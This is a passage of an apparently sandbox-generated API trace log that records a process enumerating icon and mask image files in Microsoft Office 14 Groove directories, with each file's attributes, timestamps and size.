ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae1d030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImageMask.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSignLogo.jpg", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bafc00, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90bafc00, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5431, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8862c100, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8862c100, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x1538, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1995, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImages16x16.jpg", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImagesMask16x16.bmp", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2308, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImagesMask.bmp", cAlternateFileName="")) returned 0 [0078.583] GetLastError () returned 0x12 [0078.583] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.583] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImages.bmp", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImage.jpg", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImageMask.bmp", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImages.jpg", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImages.jpg", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2eaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImage.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImageMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1d29, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIP.JPG", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIPMASK.BMP", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIcon.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIconMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675aa300, ftCreationTime.dwHighDateTime=0x1c9f921, ftLastAccessTime.dwLowDateTime=0x581a1510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x675aa300, ftLastWriteTime.dwHighDateTime=0x1c9f921, nFileSizeHigh=0x0, nFileSizeLow=0xceed, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginDialogBackground.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24Images.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24ImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x25e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImages.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x22f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImages.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b7a400, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46b7a400, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x3efd, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackground.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50410c00, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50410c00, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x40aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackgroundRTL.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79304700, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79304700, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierCloseButton.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f262800, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a539c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f262800, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableDownArrow.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b9af00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82b9af00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableUpArrow.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x864d3600, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x864d3600, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDownArrow.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e0bd00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89e0bd00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierUpArrow.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8472000, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8472000, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a588200, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a588200, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMaskRTL.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7689a500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7689a500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1938, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, 